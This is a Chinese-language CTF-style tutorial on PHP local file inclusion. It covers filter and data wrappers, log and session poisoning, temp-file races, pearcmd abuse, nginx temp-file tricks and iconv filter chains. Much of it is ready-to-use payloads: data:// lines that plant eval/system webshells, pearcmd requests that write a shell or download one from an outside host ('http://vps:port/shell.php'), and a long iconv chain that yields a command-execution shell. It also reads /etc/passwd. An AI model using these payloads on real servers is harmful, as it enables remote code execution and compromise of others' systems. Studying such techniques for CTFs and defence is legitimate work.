有关文件包含的一些知识
文件包含
伪协议
1 | <?php |
直接利用php
伪协议和data
伪协议即可:
1 | php://filter/read=convert.base64-encode/resource=flag.php |
1 | c=data://text/plain,<?php system('tac fla?.php');?> |
data
伪协议写shell:
1 | file=data://text/plain,<?=eval($_POST[1]);?> |
换用不同的过滤器绕过
日志包含
常用日志路径:
1 | /var/log/apache2/access.log |
这些日志会记录我们发包时的一些参数,例如user-agent
等:
1 | 172.12.0.2 - - [24/Oct/2021:05:55:41 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36" |
此时我们发包的时候修改我们的ua头,并且包含日志文件就会造成rce:
1 | ?file=/var/log/access.log |
session包含
先前的文章对session包含有一点简单的引入:
看看session.upload_progress | Err0r233
一些session文件的序列化/反序列化
引擎:
1 | php_serialize: |
1 | php: |
1 | php_binary: |
利用原理
- 如果在
php.ini
中,session.auto_start=On
的话,就算没有session_start()
,php也会在接收请求后自动初始化session,但是该选项默认关闭 session.use_strict_mode
的默认值为0,这使得用户可以自定义sessionid,此时cookie上会有Cookie: PHPSESSID=xxxx
session.upload_progress.enabled
如果设置为开启,则会使得我们每次上传一个文件时,php就会把这次文件上传的详细信息(时间、进度等)存储在session当中,例如
1 | upload_progress_NSSCTF{c6c326ee-fda7-4078-a6c0-c1feeca911b2} |
session.upload_progress.cleanup=on
,表示文件上传结束后php会立刻清空sessionsession.upload_progress.prefix="upload_progress_"
表示session中的前缀session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS"
表示session中的键名的主值
一般包含session的路径:/tmp/sess_PHPSESSID
当然还有可能有其他的:
1 | /var/lib/php/PHPSESSID |
利用脚本
1 | import requests |
临时文件包含
和session差不多,都需要和时间竞争
php中如果我们上传一个文件,就会在/tmp
下创建一个文件叫phpxxxxxx
,其中xxxxxx是随机大小写字母或者数字,此时只需要不断上传匹配即可包含结果
Pearcmd
Pear
的全称是PHP Extension and Application Repository
,路径为/usr/local/lib/php
利用原理
- 需要
register_argc_argv
设置为On,当然,在apache
的docker环境中,这个条件是默认打开的,但是利用apt install php
方式安装的php默认是关闭的
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
上文的精简版大概的原理是先判断$argv
是否为空,再尝试调用$_SERVER['argv']
:
1 | public static function readPHPArgv() |
然后我们的$_SERVER['argv']
我们是可控的:
我们可以利用+
来进行命令的分割(控制$_SERVER['argv']
)
而pear的程序实质上调用了pearcmd.php,也就是说我们可以通过pearcmd.php
来利用pear命令的形式进行利用:
利用方式
- 利用
config-create
写文件:
1 | /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo();?>+/tmp/shell.php |
然后利用包含包含写入的文件:
1 | ?file=/tmp/shell.php |
- 利用
install
下载外部shell文件
1 | ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://vps:port/test1.php |
此时下载后保存的地址应该在:
1 | &file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download下 |
这样可能会导致一些问题使得利用失败
所以一般利用下面这个姿势:
1 | ?file=/usr/local/lib/php/pearcmd&+install+-R+/tmp+http://vps:port/shell.php |
再利用包含即可
Tricks: phar伪协议+pearcmd包含
jacko神出的题目:
1 |
|
这里就可以利用pearcmd
包含后在外部下载一个zip
文件,然后利用phar触发:
1 | ?f=/usr/local/lib/ph%70/pearcmd&+install+-R+/tmp+http://vps:port/1.zip |
这里利用%70
直接绕过$_SERVER['REQUEST_URI']
(详情见php特性篇)
然后利用phar:
1 | ?f=phar:///tmp/pear/download/1.zip/1 |
zip包内有个1
,里面是shell的内容即可
当然也可以直接写:
1 | ?f=pearcmd&+install+-R+/tmp+http://vps:port/1.zip |
直接省掉一个php
nginx临时文件包含
利用原理
PHP如果是通过PHP-FPM和Nginx
进行部署的时候,Nginx
提供了一个容易被忽视的客服端正文缓冲功能(client body buffering
)
模块ngx_http_core_module (nginx.org)
client_body_buffer_size size;
这里设置了用于读取客户端请求正文的缓冲区大小
如果请求正文大于缓冲区,整个正文或者近期部分将写入临时文件
内
同时,如果Nginx
以PHP相同的用户身份运行时(www-data
),此功能会允许在没有任何其他创建文件的方式的情况下利用LFI
相关的linux代码:
1 | ngx_fd_t |
尽管从上面可以看出一旦打开这个临时文件
就会立马被unlink(删除)
,我们仍能通过proc
来获取对已删除文件的引用:
0xbb - PHP LFI with Nginx Assistance (bierbaumer.net)
exp:
1 | #!/usr/bin/env python3 |
作者的结果:
1 | $ ./pwn.py 127.0.0.1 1337 |
iconv
讲iconv前又得回到最开始的文件包含:
假设我们有一个文件叫1.txt
,里面的内容就是<?php phpinfo();
的base64编码(PD9waHAgcGhwaW5mbygpOw==
)
此时如果我们要包含利用的话就是这样写的:
1 | php://filter/convert.base64-decode/resource=1.txt |
此时include
的函数实际包含的就是base64解码后的php代码
php的filter有一种convert.iconv
的filter,可以用于字符集转换,例如下面这个:
1 | //convert.iconv.UTF-8%2fUTF-7 |
此时可以看到我们生成了更多的字符,那么我们是否能够利用这些固定的内容转换之后产生webshell
呢?
尽管有时候转换会产生不可见的字符,结合base64-decode
过滤器的特性,这些不可见字符也会被我们过滤掉
接下来整一个例子:
1 |
|
此时利用base64decode再解码一次就会去掉C
前面的非法字符,但是也会乱码:
1 |
|
所以我们再encode一次即可恢复正常:
1 |
|
此时就会在前面多出了一个C
由此可知通过base64-decode再base64-encode可以使得payload变得干净。同理,二次base64的结果decode再decode也会变得干净
制造payload
如何构造webshell呢?
首先<
是不能够直接构造的,但是我们可以利用上面的方法产生出一个含有php代码的字符串,最后再decode即可:
payload:
1 |
|
payload:
1 | php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd |
此时解码出来的内容是:
1 | string(1239) "<?=`$_GET[0]`;;?> ... |
后面都是我们不需要的字符
此时已经成功获得shell了,直接包含即可
1 | ?file=php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id |
python的exp:
1 | import requests |
推广
实际上不止这点,可以通过下面的脚本构造任意字符
1 | #!/usr/bin/env python3 |
用法:
1 | python3 php_filter_chain_generator.py --chain 需要添加的字符串 |
一个没有营养的利用
通过不断base64字符串x然后套decode使得最后的字符串只剩下x,利用:
1 | python3 php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQ |
自己测试吧,某比赛的结果,最后只留下它自己,就能够获取到flag了